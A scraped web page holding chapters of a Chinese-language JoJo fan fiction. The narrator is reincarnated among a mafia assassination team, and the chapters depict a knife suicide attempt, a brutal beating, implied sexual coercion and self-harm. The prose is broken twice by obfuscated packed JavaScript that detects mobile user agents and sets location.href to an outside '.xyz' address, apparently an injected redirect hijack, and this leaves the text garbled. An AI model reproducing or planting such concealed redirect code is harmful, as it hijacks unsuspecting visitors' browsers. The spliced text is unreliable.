l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14744054|157517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候对我伸出援手,比如刚进组时给高烧的我送退烧药,或者现在帮我治疗手腕。单从行为上看,这是个乐于助人的老好人,可从场合上看却又诡异的很。 我问梅洛尼这个问题,他却突然收起了笑容,手抚摸我脖颈的吻痕,一路向下,在胸口马上探进衣服的位置停下。 “我想帮助你。”他认真地说。见我一脸诧异,他又轻松地笑了,“——我想帮助脆弱的女人,这么说听起来奇怪吗?” 奇怪,非常奇怪。我心想。我实在很难把这个梅洛尼和平时狩猎母体的那个梅洛尼联系起来。但我太累了,实在没心思去想他话中的深意。 梅洛尼走了。我重新躺下,刚闭上眼想休息一会,却又听见一阵急促的脚步声,由远及近,直奔我的房间来。我坐起来,迷迷糊糊地看见一头蓝卷发。 我还没弄清楚情况,就被加丘指着鼻子骂:你他妈自己不睡也不想让别人睡是不是?我看他镜框下面一对深深的黑眼圈,尴尬的同时又感觉有点想笑,我说我能有什么办法,舒服叫出声来还能怪我?——你他妈是个哨是吧,吹一下还带响的?!他快气炸了。 我实在没精力跟他还嘴了,索性躺在床垫上装死。等他骂够了,我看他也基本消了气,趁着这个间隙又厚着脸皮问他:里苏特跟你们说什么了? 他没好气地说还能说什么,无非是杰拉德和索尔贝的事,你自己惹出来的事自己还不知道?我反驳他什么叫我惹出来的事了?加丘冲我叫道:如果不是组里突然闯进来你这么一号人,现在怎么会变成这样? 我认识加丘很多年,对这小子有时候独特的逻辑也清楚,可现在居然觉得他说的没错。一切都在按照正常的方式运作,直到我来了——是我不顾一切地要求里苏特把他们转移走,是我的到来导致未来的事情提早发生。也许这一切对我来说只是时间早晚的问题,可他们都还没经历过,这一切对于所有人来说都太突然了。 索尔贝和杰拉德的事也好,伊鲁索的事也好,我突然觉得自己很自私。乔鲁诺只是想让我辅助他上位,以一种不见那么多血的方式,而我却擅自想保住所有人的命。里苏特和乔鲁诺的目标完全不同,我始终知道里苏特想要除掉老板自己上位,此时知道未来结局的我却还想要留下他。 我又想起梅洛尼告诉我里苏特真的解除了我的禁足。可我又能去哪儿呢?我不知道他们两个都吵了些什么,里苏特一定不愿意见我,我又不想去找伊鲁索,现在就连最罩着我的霍尔马吉欧又跟我置气,我仿佛一下子成了被所有人抛弃的那个人。 “——你怎么了?” 加丘把手放在我眼前挥了挥,骂道你他妈是不是被骂傻了?我回过神来,突然感觉鼻子一酸,冰凉凉的液体从脸上淌下来,我拿手背一抹,才发现自己哭了。 加丘最见不得人这幅样子,他骂我一天到晚就知道哭,惹了麻烦还叫别人给我收拾烂摊子——我呆呆地站在原地挨训,低着头,眼泪滴在地板上留下一个个水渍,像只在我头顶下的一场小雨。 我说加丘,你能不能抱抱我? 加丘懵了。他大骂道我是不是脑子坏了,真该叫里苏特带我去看看医生。换做平时我可能不会这么做,但此刻我觉得很委屈,我擅自走上前一把抱住他,他僵住了,嘴上还是骂骂咧咧,但是没有推开我。大概过了十几秒,他抽出胳膊,抱住了我。 我把头埋到他肩膀里,脸蹭着他的卷发。在组里这么长时间我第一次觉得很累,不知道该怎么面对这一切。加丘骂我把眼泪全蹭在他的衣服上了,过了好一会儿,他沉默地拍拍我的后背,没有再说话。我隐约听见楼下的门响了一声,那是霍尔马吉欧走了。 —to be continued— 11. 最优解(其一) 我一觉睡到中午,疲惫感仍未消散。刺眼的太阳直射进房内一度让我觉得自己需要再倒个时差。我的眼皮还是很重,昏昏沉沉的不想起来。 不起就不起,现在的我早已没有了在监狱那段日子的紧张感。我倒头就睡,等我醒来已经将近下午三点。我的肚子开始叫了。这期间没有一个人上来管过我的死活,甚至连平时会偷偷上来给我送饭的贝西都没个影子。我怀疑就算我死在这屋子里也没人会发现。 没人发现最好,过惯了被监视的日子,我倒还想体验一下无人在意的感觉。我悠然自得地走出房间,伸了个懒腰,走过一排房间门,站在楼梯口往下看。客厅里只有伊鲁索一个人,他听到脚步声回过头,见是我,眉头一下子皱了起来,转过脸去假装没看见。 万人嫌的日子确实不好过。我无视伊鲁索盯在我背后的怨念的眼神(我怀疑是里苏特罚了他钱或者什么的),去厨房找吃的。这场景似曾相识,我又想起自己还是奥利维娅时和伊鲁索最开始闹别扭的日子了。 我从冰箱里找到些剩菜,简单热了一下就往嘴里塞。我几乎睡了一天,实在是饿坏了。我自己坐在桌前狼吞虎咽,屋子里没人注意我,这种久违的感觉甚至让我有些放松。 填饱了肚子,我又走进厨房去洗盘子,尽量多给自己找些事情做,以免整天坐在床垫上胡思乱想,或者盯着墙上的破钟表发呆。想到这儿,我又下意识抬起胳膊看表,指针仍旧一动不动地指向四点整。 现在改变原本剧情发展的进度基本为零,而我已经浪费了将近一半的生命值——这有点像电子游戏,但一切的发展都简直他妈的扯淡。我甚至怀疑是乔鲁诺这小子成心刁难我。 伊鲁索还是不理我,屋子里也没有别人,我把干净的盘子放回碗柜,走上楼。 我路过里苏特的书房,看见他的电脑屏幕仍然亮着。里苏特用金属制品把我钉在门锁上的痛楚仍历历在目,我犹豫了一下,环顾四周,还是走了进去。 书房里很黑,只有电脑屏幕亮着。我在心里祈祷里苏特没有用金属制品隐身跟在我身边。屏幕上显示的是依然是与杰拉德和索尔贝的聊天记录。大部分是什么任务进度类的废话,以此证明他们在忙些无需太过关心的事,可其中一句话却刺中了我的眼球——“目标从巴勒莫地区向威尼斯转移,我们正在追击。” 威尼斯。这正是他们被老板“解决”的地点。命运正不可控地走向它该走的位置。我打了个冷战。我几乎是立刻敲打键盘:不要去威尼斯!快点回来,不要去威尼斯!! 我守在原地,也不担心被里苏特抓个正着,焦急地等了半晌,始终没有等到回应。天色从蓝到橙再到深蓝,我只好从书房走出来,正看见霍尔马吉欧坐在沙发上,翘着二郎腿,笑着说红灯区的那些破事儿。另一个沙发上是伊鲁索,普罗修特坐在他对面,加丘坐在旁边的长沙发上,面前的烟灰缸里还盛着一摞普罗修特留下的烟灰。 我听着霍尔马吉欧说有个妞一直缠着他,要他带她走,还沾沾自喜地夸自己魅力太大。我不禁觉得好笑。俱乐部里的女人大多数都身不由己,她们见谁都这样,都希望能早点傍上个好男人把自己赎出去呢。 妓女故事我没什么心情听,不过重要的部分我还是听得到的——的确有位女孩像奥利维娅一样在房间里被折磨致死了。这更印证了我的看法:改变一个人的死,就需要另一个人的死来偿还。 “偷听什么?” 我正站在原地思考得出神,被这句话吓得浑身一震。我做贼心虚地抬头,普罗修特、霍尔马吉欧和加丘,三双眼睛齐刷刷地看向我,只有伊鲁索还坚持要跟我冷战,故意把脑袋别过去,面前什么也没有还假装自己很忙的样子实在有点好笑。 “——如果还认为自己是组里的一员的话,就过来光明正大地听。”普罗修特冷着脸说。他的话总有一种不可违抗的意思在,让人不敢不去遵守。 我不知道自己在心虚什么,但还是一点一点挪动步子,尽量把走到客厅的时间变得再长一些,因为客厅里的这四位大爷我实在是都招惹不起。 霍尔马吉欧还用看宠物或者玩具的眼神看着我,脸上挂着意味不明的笑意。联想到昨晚的经历,我实在不太想跟他坐在一起。伊鲁索更不用说,他就差把“别来惹我”写在脸上了。我转头看向另一边,普罗修特坐的是侧面的小沙发,没有我的容身之地,至于加丘——我在心里计算了一下他对我的厌恶程度,转头对普罗修特嘿嘿一笑:“……你们继续,我站着听。” 普罗修特对我这反应很不买账。他皱起眉,拍拍皮质的沙发扶手,示意我坐上来。我愣了片刻,没敢直接上前去——虽说曾经我没少坐这地方跟各种人调情,但此时此刻的场合比较严肃不说,我现在的身份还远没到能开这种玩笑的程度。 叫你坐上来听不懂?普罗修特不耐烦地拽住我的胳膊,强硬地把我按到他旁边,又像摆弄人偶一样掰过我的腿,直到我稳稳当当坐到他旁边。我战战兢兢,双手搭在膝盖上,两腿僵硬地并拢,紧张得像第一次陪酒的小姑娘。我这么紧张纯粹是生怕什么举动再惹得普罗修特不满,那样我在这个组里恐怕会更不好过。 其他人见我这幅滑稽的样子倒也很礼貌地没做什么评价或者当场笑出声来,继续刚才的话题。从他们的对话中我才得知里苏特去了撒丁岛出差,顺便亲自去继续调查特里休的相关情报。我愣住了。 我清楚他们是想拿特里休来威胁老板,但这一切都发生得太早了——如果老板知道自己还有个女儿并且还被自己手下调查了个遍,他一定不会轻易放过暗杀组。而如果他要出手,先前有前科的索尔贝和杰拉德一定是首选。而他们此刻还他妈的正好在前往威尼斯的路上,就像自己走进陷阱的猎物。 等他们话都说完了,我才弱弱地开口,把聊天记录和威尼斯的事跟他们说了一遍。出乎意料的是,这些人居然都不为所动。也许是因为先前里苏特发现我隐瞒情报的事,现在他们基本上不怎么信任我。 我着急了。我说你们都不给点儿反应什么的吗?按照命运的发展,索尔贝和杰拉德去了威尼斯肯定会死的!伊鲁索嘁了一声,骂我怎么一天到晚嘴里一句好话都没有,不是这个死就是那个死。既然你这么替他们担忧,那就去找他们啊。他讥讽道。 唯一和这两人有联系的里苏特远在撒丁岛,此时此刻他们还不知道在哪条路上呢。可这句话刺激了我——好啊,你说去我就去,我现在就走。我从扶手上下来,站在地上宣布道。 我的确没开玩笑。既然这个组里已经没有了我的容身之地,那不妨我直接去做点别的贡献——试试从另一个角度掰命运的轨道。我转头快步走了几步,要上楼时被普罗修特一声呵斥叫住,他的眼神像看小孩子闹脾气——谁让你走了? “她想去就去呗。”一句轻飘飘的话钻进我的耳朵,那是霍尔马吉欧的声音。我回头,我们四目相对,他满不在乎地摊摊手,眼里满是戏谑。 我还没发火,加丘却先发火了。他猛地一拍桌子站起来,冲着霍尔马吉欧叫道:“——你他妈想让她送死去是吧?!你不知道这家伙做出过多少蠢事?” 霍尔马吉欧笑了,说你小子还学会怜香惜玉了?之前出任务怎么没见你这样过?他慢慢悠悠地直起身子,一只手托着下巴,“放松点,放松点——发这么大火干什么?” 我想劝架,被加丘一把推开,他说没你的事。我被他赶到楼上去,只听见楼下传来很可怕的争吵声,还有哐哐砸桌子的声音。我听见普罗修特叫他们要打出去打。我有点担心局面失控,再一次偷偷往楼下看,看见他们语气不善地对峙着,普罗修特坐在沙发上抽烟,一言不发。 我有些手足无措,感到腿灌了铅一样沉重,我不敢再下楼去。我又想到索尔贝和杰拉德,我想如果我没有隐瞒真相,他们没接下这个极度巧合的任务,命运转折点的到来会不会再迟一些?是我导致了这一切的发生吗?乱七八糟的想法塞满了我的脑袋,几乎压得我喘不过气来。 我急切地需要找人说说话。我想里苏特了,我想到在监狱中他坚定给我承诺的样子。是我亲手毁了里苏特对我的信任,是我搞砸了一切——我痛苦地抱头蹲下,汗水顺着脖颈流下来,浸湿了我的领子。 我想到了死。没错,死亡没什么好怕的,我已经死过很多次了,只要死掉就好了,死后我就能离开组里,能以新的身份去追踪索尔贝和杰拉德他们,不会再与暗杀组扯上一分一毫的关系。我站起来,抹了一把额头上的冷汗,悄悄地走下楼。客厅里的气氛很压抑,加丘和霍尔马吉欧依旧吵个没完,伊鲁索估计是钻镜子里去了,客厅里只留下普罗修特一根接一根地抽烟。 我走进厨房,拿起水果刀。这简直可笑,得到了我梦寐以求的重生机会,我却主动在寻死。我瞄准自己的颈动脉,攥紧刀柄地手用力到发抖——突然,一只手猛地攥住我的胳膊将我推开,我尖叫一声被推倒在地上,刀尖堪堪划破了脖颈上的一处皮肤,冒出一串小小的血珠。 我抬起头,只见加丘愤怒地瞪着我,他气喘吁吁,手里拿着那把水果刀,手指紧紧握着,几乎看得见手背上的血管。他用力一把将它扔向旁边去,我看着刀身的一半深深刺入木柜,不禁打了个寒战。 “你他妈疯了?!整天就想找死是不是啊?!”加丘对我大吼道。我还没反应过来,就被他狠狠掐住脖子,脑袋重重地磕在桌沿上,疼得我当场流出了眼泪。加丘的手劲该死地大,我逐渐喘不过气来,挣扎着掰他的手却无济于事,嗓子里发出嗬嗬的风箱声,直到我快窒息他才松开手。他的呼吸很急促,脸色红得不正常,我意识到自己可能真的把他惹急了。加丘有躁狂倾向,真正发病的时候很吓人。我曾见过他过呼吸到看上去快窒息而死的样子。 我还没来得及呼吸一口新鲜空气,他又狠狠地照着我的肚子来了一拳。我被这一拳打得惨叫出声,身子顺着桌腿下滑,瘫坐在地上。好在我和加丘相处过很长时间,我还能试图理解他那回路奇特的大脑里到底是怎样的想法,也许“你这家伙明明昨天那么依赖我为什么今天又要寻死,是不是瞧不起我?!”或者“我说送死你还真去找死啊?是不是想把责任都推到我身上啊?!”诸如此类。 最近的事情实在太乱,他一定是受了太多刺激。我总在这种时候才后知后觉地意识到现在暗杀组的每个人都还年轻——“你这家伙他妈的到底在想些什么,是不是不把我放在眼里啊?!” 加丘用一记勾拳打断了我的思考,他见我走神更生气了,我赶紧连连道歉,可他完全听不进去。我感到嘴里泛起一股腥甜的气味,才知道自己流鼻血了。温热的液体溪流一样顺着我的脸流下来,滴到胸口上,干涸成粘稠的血痂。 我又挨了下手极重的几拳。现在做什么都已无济于事,我干脆闭上眼,想等他发泄完怒火,却突然感到身上一轻。我以为他站起来要踹我,下意识蜷缩起来护住身子,可预料中的疼痛迟迟没有到来,反而听到我现在十分不想听见的声音:“真没办法啊——就不能冷静点吗?” 我听见重重的一声闷响。我小心翼翼地睁开眼,看见霍尔马吉欧阴沉地站在我面前,旁边加丘倒在橱柜边上,他的眼镜摔碎了,玻璃碎片散落一地,划破了他的脸。刚刚发生了什么不言而喻。我感觉空气冷得几乎凝固,我抬头看看霍尔马吉欧,又看看加丘,大气也不敢出。 “你小子自己犯病就上一边犯病去,你他妈打她?”霍尔马吉欧抱着胳膊看着他,我看见加丘怒气冲冲地瞪着他,呼吸仍旧很急促。我试着站起来,忍不住痛呼一声,我浑身都疼,感觉自己的内脏几乎碎掉了。 我的声音引起了霍尔马吉欧的注意,他又指着我看向加丘,说你看看你他妈把她打成什么样了,要不是我来你都要把人家打死了!到时候队长回来你怎么交代?他强硬地抓着加丘的胳膊逼他站起来,语气看似平静,却是压抑着愤怒——你他妈还想让我给你瞒多少事啊? 霍尔马吉欧一直是组里的和事佬,是好哥哥,这是他一贯塑造的角色。他带过一段时间的贝西,也管过梅洛尼和加丘的实战训练。就连我也很少见他这么生气。大多数时候无论发生什么他都是乐呵呵地说没事没事,没有我们解决不了的麻烦,来缓和组里的气氛。 至于霍尔马吉欧替加丘瞒了什么事,瞒了多少事,我就真的不知道了。用普罗修特的话说,这属于“男人之间的事”,跟女人没关系(普罗修特的确有点大男子主义)。 你不知道她刚才干了什么吗?她他妈的想一刀捅死自己!加丘冲他大吼道,你们一个个都他妈的疯了是吧,非要在组里逼死一个人才满意?!我看到他反复捏紧拳头又松开,手指关节不停地咔咔响——要不是你说那些话,怎么会变成现在这样啊?! 我的话?这时候又怪我了是吧?霍尔马吉欧嘲讽地笑了一声,——那你打女人算什么男人?你要真觉得怪我,你就冲我来呗。他张开双臂挑衅道,你敢动手吗?只会打女人的家伙? 他这句挑衅正中加丘的下怀。他愤怒地叫骂着,抡起拳头就要砸在霍尔马吉欧脸上,霍尔马吉欧丝毫不躲闪,就这么结结实实地挨了一拳。他闷哼一声,啐出一口带血的唾沫,重新抬起头满不在意地笑了,“继续打啊,小子,我倒想看看你到底有多少本事。” 三年前的加丘才刚刚入组不久,做什么都容易冲动,霍尔马吉欧也是压抑到一定程度容易爆发的类型,我坐在地上仰头看这两人对峙,真担心他们谁会把另一个活活打死。 “——够了!” 就在我胡思乱想的时候,普罗修特的喊声传进我的耳朵。我抬起头,见他脸色极其差劲地站在我们几个面前,“要打出去打,你们当组里是什么地方了?” “那就出去打呗。”霍尔马吉欧嘁了一声,转头就走,留给我们几个一个背影。很显然我们都没想到他会答应得这么干脆。走到门边,他还不忘回头再看加丘一眼,“车库门口。我随时奉陪。” 霍尔马吉欧走了。我的注意力又重新回到加丘身上,这才后知后觉地意识到我感觉冷不是因为自己害怕,而是因为加丘过度愤怒导致的替身失控。我看不见替身,只能求助地看向普罗修特,他的替身最能压制加丘的白色相簿。 普罗修特冷哼了一声,故意偏过头不理我,我猜他的潜台词是你自己惹的事你自己看着办。我只好扶着操作台的边缘艰难地站起来,干巴巴地劝加丘别冲动。 显然我的话没起到任何作用,加丘又低低地骂了一句什么,大步向门口走去,砰的一声摔上门走了。屋内只留普罗修特和我两个人尴尬地四目相对。他斜睨着看我,眼神里充满厌恶:“看看你做的好事,婊子。” 普罗修特转过身上楼去了。我呆呆地撑着身子站在厨房里,感觉一切都那么不真实,只有伤口的疼痛清晰地提醒我一切都是真的。我从来没这么迷茫过,我觉得重活一世太残忍,不仅要再经历一遍曾经的痛苦,还可能会把一切变得更糟。 我开始哭,哭得脑袋眩晕,身子轻飘飘的几次差点摔倒。没人管我,我干脆直接坐在地上,脑袋埋进膝盖里,像逃避现实的鸵鸟。如果这样真的能逃避的话,我愿意做鸵鸟一辈子。 等我哭够了,我才恍惚地从地上起来,晃晃悠悠地走上楼。考虑到只有十二条命,我最终放弃了死亡的念头。我必须利用每一次机会。我要去找到索尔贝和杰拉德,我必须和命运斗争到底。 我回到房间想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14744055|157517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收拾行李,才发觉这里的一切东西都不是我的。这里依旧很乱,和我本来的房间截然不同,大大小小的纸箱中间放着破旧的床垫,小窗台上晾着皱巴巴的一套衣服,那也不是我的,是属于琳赛格伦的。我又想到普罗修特故意羞辱我的行为,想到里苏特对我逐渐改变的态度,觉得自己格格不入。 我想到霍尔马吉欧。他确实是一个不错的□□成员,身为下属听从里苏特的安排,身为队友会照顾其他成员,身为前辈会带领新人,虽然也有些不良癖好,小到抽烟酗酒,大到虐待人质,但毕竟人无完人,而且□□的人实在找不出一张白纸。是啊,为什么我当时就没想到,一向随和的霍尔马吉欧,怎么会突然因为这么一件小事跟队友大打出手? 自从乔鲁诺给我这所谓的新生以来,我几乎整天都在经历从前从未经历的事情,就连我熟悉的人也变得陌生起来,就像我在以别人的身份活着而不是我自己——不,我本来就是以别人的身份活着。我又想哭了。 我烦躁地把拿在手中的衣服摔在床垫上,走出房间。天几乎完全黑了,走廊里漆黑一片,只远远地看见一扇门里透着光。鬼使神差地,我走了过去,顺着门缝往里看——那是梅洛尼的房间。他正坐在床上,偏着脑袋剪头发。看着地上一小撮一小撮的金色头发,我才意识到梅洛尼的头发比我印象中长得多了。 他一抬头,正好对上门外我的视线,手一抖,挡在眼前的长发就这么少了一绺。我走也不是,不走也不是,我们尴尬地四目相对,我看着那个缺口连连道歉,生怕失去这个组里最后对我不抱有恶意的人。梅洛尼却显得毫不在意,他放下剪刀,笑眯眯地说快进来呀,怎么主动来找我啦?他直勾勾地盯着我,盯得我心里发毛。 我告诉他索尔贝和杰拉德前往威尼斯的事,又把今天客厅里的一系列闹剧给他讲了一遍。梅洛尼听得津津有味,像听什么故事。等我讲完了,梅洛尼一把抓住我的手,他没戴手套,常年包裹在手套里的手指白皙,光滑,柔软而富有弹性,此刻还因为刚洗过头发而冰凉,湿漉漉的触感,有点诡异。 “di molto!你还没意识到吗?组里的两个男人竟然因为你而大打出手——伊莎贝拉,伊莎贝拉,你真是di molto的了不起啊!” 梅洛尼兴奋地抓住我的胳膊,逼我靠近他。他的手始终是凉的,现在没有戴手套,我们的皮肤直接接触的感觉让我觉得有点不真实。我尽量把视线从他手腕上那一排清晰可见的疤痕上移开——梅洛尼自残。这也是他总戴着手套的原因之一。 我大叫道谁想跟他们两个扯上关系啊!我差点当场被打死,你真觉得这浪漫吗?梅洛尼却反问我,为什么一定要浪漫? 我质问他你到底想说什么?他问我,你想知道霍尔马吉欧把你当什么吗? 梅洛尼抱住我,我没有推开他,算是默认了这个问题的答案。梅洛尼的绿色眼睛里呈现出一种欢快的神色,“你应该能感觉到吧?霍尔马吉欧把你当宠物,就像他的猫——宠物主人往往是不会介意别人摸摸自己的宠物的,你知道吧?” 我不寒而栗。我想起霍尔马吉欧那些猫的结局。如果我是个不谙世事的小姑娘,我可能真会觉得他只是喜欢猫,可我认识他,霍尔马吉欧,审讯人质的手段极其凶残,别人只看见他和猫咪和睦相处的画面,却没人仔细想为什么他的猫总是换了又换。 “那加丘呢?”思来想去,我还是没忍住开了口,“——加丘到底为什么生这么大的气?” “你害怕加丘吗?” 梅洛尼抬起一只手,轻轻抚摸两下我的脸颊,“你知道加丘还在吃药吧?不要和他走那么近——加丘很危险哦。”他手上动作轻柔,嘴里却说着可怕的话。梅洛尼讲这些的时候还是笑着的。他有时候是真的很吓人。 我说不清楚梅洛尼和加丘哪个更吓人。如果要我实在二选一的话,我反而觉得加丘更安全一些,尽管我刚被他暴揍一顿这个事实让我这个想法变得很没有说服力。 走进梅洛尼房间的时候我还漫无目的,但此刻却突然找到想做的事情了。我很突兀地转移话题,说梅洛尼,我想借用你的电脑。我想给里苏特发信息。 噢,梅洛尼露出一副了然的表情,他笑着环住我的脖颈,你喜欢队长呀?队长的确是个很有魅力的男人呢——我连忙叫他打住,表示自己只是有事想告诉他。 告诉他什么?告诉他你今天在组里寻死?告诉他你被加丘打了?还是告诉他霍尔马吉欧和加丘因为你在外面打起来了?梅洛尼的语气突然变得咄咄逼人起来。我被他问得哑口无言,的确,今天发生的事情随便拎出一件放在其他人听来都觉得丢脸,让里苏特知道也只会让他上火影响他心情。更何况现在的我自己也不知道什么举动说不定就推动了命运的齿轮,我更不敢影响此刻在外工作的里苏特了。 我诚实地告诉梅洛尼我要走了,我必须亲自去阻止索尔贝和杰拉德走向命运注定的死亡结局。梅洛尼却叫住我,他拉开抽屉,翻出一个可能是被他淘汰掉的电话递给我——这个你拿着吧?可能会有用哦。 我呆呆地接过,抚摸着冰凉的硬壳,心里是说不出的酸涩。我站起来,向他道谢,将电话放进口袋里就要走。梅洛尼在我即将走下楼梯时叫住我,轻松地问我:你害怕死吗? 我站定在原地,没有回话。我回头,看见梅洛尼靠在门边,他整理了一下蹭乱的头发,脸上还是笑眯眯的:无论是以谁的身份,之后也还来找我吧? 我抹了抹眼睛,快步走下楼梯。我明白梅洛尼话中的意思:我这一行有可能就是去送死。 我推开门,当面迎上同样正要开门进来的霍尔马吉欧和加丘。两人脸上都挂了彩,霍尔马吉欧伤得更重些,我知道他懂得把握分寸,但失控的加丘(并且还是青春期版)很难做到这一点,下手自然没轻没重。 加丘低着头一声不吭,看上去已经冷静下来了,霍尔马吉欧则恢复了往日那副乐呵呵的表情,看到我笑了一下,说真走啊? 我嗯了一声。加丘从我侧面的位置挤了一下,闹别扭似的进屋去了。霍尔马吉欧还站在门边挡着不让我走,他伸出胳膊拦住我,嘴上说着等等,从裤子口袋里掏出钱包,数了一大叠里拉塞到我手里。 我愣住了,看看手里的一小把钞票,又看看霍尔马吉欧,他额头上的一大片擦伤还流着血,整个人灰头土脸,看上去有些滑稽。我搞不明白这家伙到底动的什么心思,昨天晚上不要命似的折腾我,今天又假装没事发生似的塞给我一笔钱,此刻显得有点像嫖资。 “——你快拿着吧。你身上半毛钱没有,还是逃犯,自己出远门不是被抓就是变成流浪汉沿街乞讨。切,没想到这秃子还能好心成这样。” 我听见熟悉的声音。伊鲁索不知道什么时候出现在了我身后,我吓了一大跳,被他不满地瞪了一眼,“你那是什么表情?跟见了鬼一样。” 霍尔马吉欧又开始跟他拌嘴,说他比高中女学生都八卦,肯定是又拿镜子偷看今天发生的事了。伊鲁索捂着嘴光明正大地偷笑,说你这家伙被打成那副惨样,我不看看怎么能行?我在一旁心情很复杂,感觉眼眶有点发酸,我使劲摇摇头,不想在这俩人面前掉眼泪。 我将那些钱塞进口袋里,一只脚迈出大门,又跟他们两个道了别。我发觉自己不知道什么时候开始变得这么优柔寡断了。我走出暗杀组据点的大门,走出长长的小巷,直到站在街道边上,我还觉得一切都有点不真实。 路灯的灯光洒在我脸上,我再一次转头看向我再熟悉不过的巷子深处,我所熟悉的那个暗杀组据点。我做了个深呼吸,攥紧了那一叠里拉,向港口走去。 —to be continued— 12. 最优解(其二) 丝丝凉风钻进我的衣服里,我忍不住缩了缩肩膀,抽抽鼻子,才反应过来自己该多带件外套的。我走得太突然也匆忙,甚至都没能正式通知一声组里所有人。 等我走到空荡荡的海边,才发现吹点风对此刻的自己来说根本算不上什么大事。深夜根本没有船只不说,新的问题又出现了:我拿不出任何证件来,还是个在逃越狱犯,这导致我没法坐任何公共交通:不仅坐船的计划宣告失败,连带着飞机火车甚至旅游巴士一系列也全部泡汤。 我只好原路返回,四处张望看能不能碰运气找辆出租车。我突然想起自己离开挪威的那段日子,与现在的场景异曲同工:都是早计划了离开的想法,却没想到会在一个突然的时间点实施。 据点的位置距离市中心较远,再加上现在又是大半夜,马路上的车辆很少。我清楚不能这样下去,我不能耽搁太长时间,必须尽快在路上拦截索尔贝和杰拉德他们两个,避免命运结局的发生。 我孤零零地走在街道上,向市区走去,我心慌意乱,控制不住自己不去胡思乱想。一个可怕的念头在我脑海中浮现——他们所追踪的“目标”也许是老板派出的诱饵。虽说世界上多有巧合,但联想到老板的警惕性,早注意到他们有调查行动一定不会在他们有所收敛时就善罢甘休。解决掉这两个出头鸟,还能给组织里其他人都上上一课,何乐而不为呢? 我感到一种身负重任的紧张和紧迫感,我的头又开始疼了。我下意识去摸脖颈间的吊坠,里苏特为我做的,从我的血液中提取而出,我把这条链子做成了项链。自从来到这个新的世界,我就变得胆怯又脆弱——我轻轻攥住那个小小的吊坠,只有抚摸到光滑表面凹凸不平的刻痕时,我才会感到安心很多。 就在我望着马路对面出神的片刻,我突然感觉一只手搭上了我的挎包。顺便说一下,这其实是贝西的,我打扫时从杂物间里翻出来,理所当然地据为己有。我记得贝西第一次也是最后一次背它的场景,普罗修特见他出门还挎着个小包,大骂他没有男子气概,他只能低着头委屈地把它永远封存在杂物间的角落里,抽抽搭搭的样子又可怜又好笑。 我早熟悉这些小扒手的手段,一只手反手抓住他的胳膊,另一只手顺势将他压在地上,那人痛叫一声,想必身体与地面亲密摩擦的感觉并不好受。在那不勒斯街头,遇到扒手可以说是寻常的事,我只想给他点教训,手指发力想扭断他的手腕,可这小子却侧过头,毫不畏惧地威胁我起来: “——你是在逃罪犯吧?就算你报警也没用,在这样的情况下,只要我稍改供词,先进监狱的人就是你。你听说过吗?1959年,在美国佛罗里达州有一起案件……” 我连忙叫他打住,我实在没时间上法律课。这小子一脸嚣张抓着人把柄的样子让人看着就不爽,但我真没理由对他出手,浪费时间不说还容易惊动其他人。我认命一般松开他,从包里掏出几张钞票塞给他,“快走吧,你们怎么半夜还上班?” 那小子接过钱却没走,反而一副受了侮辱的样子站在原地,难以置信地瞪着我。他可能也没想到会遇到我这么一个奇葩。借着昏黄的路灯灯光,我忍不住上下打量他——金色头发,紫色眼睛,年龄看上去不大,一身孔雀绿的西装,打眼一看便知道来头不浅。 我嘴上问着怎么了,是嫌少?眼睛却忍不住盯着他的脸看,越看越觉得他眼熟。我突然想起曾经在组里调查护卫队时的资料,护卫队成员的照片,那位金色头发的替身使者,“你是——” 话音未落,那小子一把拽过我手里攥着的剩下的钱,快步跑走了。我大骂了一句,提了下鞋跟就开始追。绕过两个居民区,已经不见他的身影,我扶着膝盖喘气,顾不上擦额头上的汗,我脑海中的想法愈发清晰,我记得,我记得—— 那是潘纳科特·福葛,护卫队的第一名成员。 我从未如此真切地感受到命运追赶我的速度之快。按照乔鲁诺的说法,不久之后福葛就会加入布加拉提的小队,成为小队的第一名成员。我弄巧成拙,将这条故事线的故事发展推动得越来越快,甚至到了没法掌控的地步。 事情已成定局,我只得整理思绪,重新投入到寻找出租车的工作上。功夫不负有心人,我在一栋公寓楼下找到了一辆停着的出租车,车灯还亮着,我赶紧一路小跑过去,扒着挡风玻璃往里张望。 车内没有乘客,那司机似乎是在车里睡着了。他迷迷糊糊地伸了个懒腰,打开一半车窗,问我,去哪儿? 索尔贝和杰拉德留下最后有联系的信息地址在罗马,我想了想,吩咐司机载我到罗马城区去。我相信沿着他们走过的路走一定会有线索。可司机一听却不耐烦地要把我赶走,表示他不开长途夜车。 眼看夜色渐浓,一时半会也找不到第二辆车,我心急如焚,帅哥长帅哥短地说起好话来。要不是实在没了办法,我可没耐心在这号人身上费时间。我一边求情一边在心里只翻白眼,可怜我什么男人没见过,重活一次竟然还要在这么个歪瓜裂枣身上费唾沫星子。 司机是个瘦小的中年男人,看上去已经四五十岁。我本以为说上几句好话,或者多塞点钱他就能松口,没想到他不但不给面子,反而把我当成了大晚上来拉客的风俗女。他整理着他遮盖秃顶的发型,骂骂咧咧地说老子不跟你睡,穿成这样一看就是便宜货,也不知道卖过多少次了。 我气坏了,用力砸副驾驶的车窗玻璃,把他骚扰得不行,最后只能骂骂咧咧地打开车窗。我抬起腿就要从车窗钻进去,把这大叔吓得不行,连连骂我神经病,最后只能败下阵来,打开了副驾驶的车门。 折腾了半天,我总算是得逞坐上了车。我把那一沓钱全塞进司机手里,又编了一堆生病的妈赌博的爸之类的凄惨故事,求他送我一程。然而这司机收下钱立马变了脸,让我再交两倍的路费,否则不但不还钱,我自己也别想离开这儿。 